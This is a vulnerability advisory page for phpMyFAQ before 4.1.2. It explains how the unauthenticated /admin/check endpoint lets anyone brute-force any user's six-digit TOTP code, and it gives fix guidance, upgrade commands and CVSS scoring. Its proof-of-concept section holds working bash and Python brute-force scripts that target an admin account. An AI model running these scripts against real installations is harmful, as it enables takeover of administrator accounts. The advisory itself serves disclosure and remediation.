Skip to content

GHSA-9pq7-mfwh-xx2j CVE-2026-45010

phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id

Critical Packagist
Severity
9.3 / 10
Critical · CVSS 4.0
Exploit chance (EPSS)
0.43%
Chance of exploitation in the next 30 days. Higher than 37.52% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-307 Improper Restriction of Excessive Authentication Attempts
Fix
Available
2 packages have a fixed version

Description

Summary

The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.

The controller class declaration:

final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck

The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.

The check action (line 201-228):

#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    if ($this->currentUser->isLoggedIn()) {
        return new RedirectResponse(url: './');
    }

    $token = Filter::filterVar($request->request->get(key: 'token'), FILTER_SANITIZE_SPECIAL_CHARS);
    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);

    $user = $this->currentUserService;
    $user->getUserById($userId);

    if (strlen((string) $token) === 6) {
        $tfa = $this->twoFactor;
        $result = $tfa->validateToken($token, $userId);

        if ($result) {
            $user->twoFactorSuccess();
            $this->adminLog->log($user, AdminLogType::AUTH_2FA_SUCCESS->value . ':' . $user->getLogin());
            return new RedirectResponse(url: './');
        }

        $this->adminLog->log($user, AdminLogType::AUTH_2FA_FAILED->value . ':' . $user->getLogin());
    }

    return new RedirectResponse('./token?user-id=' . $userId);
}

Problems:

  1. No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user.
  2. No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock.
  3. Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.

The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.

Proof of Concept

# Step 1: Identify target user ID (admin is typically user_id=1)
TARGET_HOST="http://target.example"
USER_ID=1

# Step 2: Brute-force the 6-digit TOTP code
# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.
# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.

for code in $(seq -w 000000 999999); do
  RESPONSE=$(curl -s -o /dev/null -w "%{http_code}:%{redirect_url}" \
    -X POST "${TARGET_HOST}/admin/check" \
    -d "token=${code}&user-id=${USER_ID}")

  # A successful 2FA grants a session and redirects to ./
  # A failure redirects to ./token?user-id=1
  if echo "$RESPONSE" | grep -qv "token?user-id="; then
    echo "[+] Valid TOTP: ${code}"
    break
  fi
done
# Faster parallel version
import requests
from concurrent.futures import ThreadPoolExecutor

TARGET = "http://target.example/admin/check"
USER_ID = 1

def try_code(code):
    r = requests.post(TARGET, data={"token": f"{code:06d}", "user-id": USER_ID}, allow_redirects=False)
    location = r.headers.get("Location", "")
    if "token?user-id=" not in location:
        return code
    return None

with ThreadPoolExecutor(max_workers=50) as pool:
    for result in pool.map(try_code, range(1000000)):
        if result is not None:
            print(f"[+] Valid TOTP: {result:06d}")
            break

Impact

Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)

Recommended Fix

  1. Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.

  2. Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.

  3. Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.

Example session-binding fix in check():

#[Route(path: '/check', name: 'admin.auth.check', methods: ['POST'])]
public function check(Request $request): RedirectResponse
{
    $userId = (int) Filter::filterVar($request->request->get(key: 'user-id'), FILTER_VALIDATE_INT);

    // Require that the session proves password auth for this specific user
    if ($this->session->get('2fa_pending_user_id') !== $userId) {
        return new RedirectResponse(url: './login');
    }

    // ... existing TOTP validation ...
}

And in authenticate(), after successful password check:

$this->session->set('2fa_pending_user_id', $this->currentUser->getUserId());

Found by aisafe.io

Affected versions

Packagist

PackageVulnerableFixed in
phpmyfaq/phpmyfaq
< 4.1.2
4.1.2
thorsten/phpmyfaq
< 4.1.2
4.1.2

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

phpmyfaq/phpmyfaq Packagist → 4.1.2

composer
composer require phpmyfaq/phpmyfaq:^4.1.2

thorsten/phpmyfaq Packagist → 4.1.2

composer
composer require thorsten/phpmyfaq:^4.1.2

Severity breakdown

CVSS 4.0 9.3

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Attack vector
Network
Attack complexity
Low
Attack requirements
None
Privileges required
None
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
None
Integrity (subsequent systems)
None
Availability (subsequent systems)
None
Exploit maturity
Not defined
Scope
X

CVSS 3.1 9.1

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Weakness

CWE-307: Improper Restriction of Excessive Authentication Attempts

The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.

How to prevent it
  • Architecture and Design: Common protection mechanisms include: Disconnecting the user after a small number of failed attempts Implementing a timeout Locking out a targeted account Requiring a computational task on the user's part.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator. [REF-45]

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-rw77-vq4g-x3hp
phpMyFAQ has SQL Injection in `StopWords::add()` — Unescaped Stop Word Insertion
High Also affects phpmyfaq/phpmyfaq
GHSA-8gpw-xvpf-hvx5
phpMyFAQ's two-factor authentication login bypasses the password factor
High Also affects phpmyfaq/phpmyfaq
GHSA-pgwp-vc7q-cvj3
phpMyFAQ has Stored XSS in Admin FAQ Editor via HTML Entity Bypass in Frontend FAQ Submission
High Also affects phpmyfaq/phpmyfaq
GHSA-6pvm-2vjj-rx4w
phpMyFAQ: SQL LIKE Wildcard Injection in Chat User Search Allows Authenticated User Enumeration
Medium Also affects thorsten/phpmyfaq
GHSA-mf8r-wm2w-f8c5
phpMyFAQ public FAQ APIs expose inactive FAQ content
Medium Also affects phpmyfaq/phpmyfaq
GHSA-88g4-74f3-63x9
phpMyFAQ has Potential Authenticated Path Traversal in PDF Export
Medium Also affects phpmyfaq/phpmyfaq
GHSA-pg62-f8g4-4wqh
phpMyFAQ privilege escalation: GroupController::updatePermissions lets a GROUP_EDIT admin grant rights they do not hold
High Also affects phpmyfaq/phpmyfaq
GHSA-985r-q3qp-299h
phpMyFAQ has an incomplete fix for GHSA-xvp4-phqj-cjr3 — editUser() and updateUserRights() lack authorization guards
High Also affects phpmyfaq/phpmyfaq
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor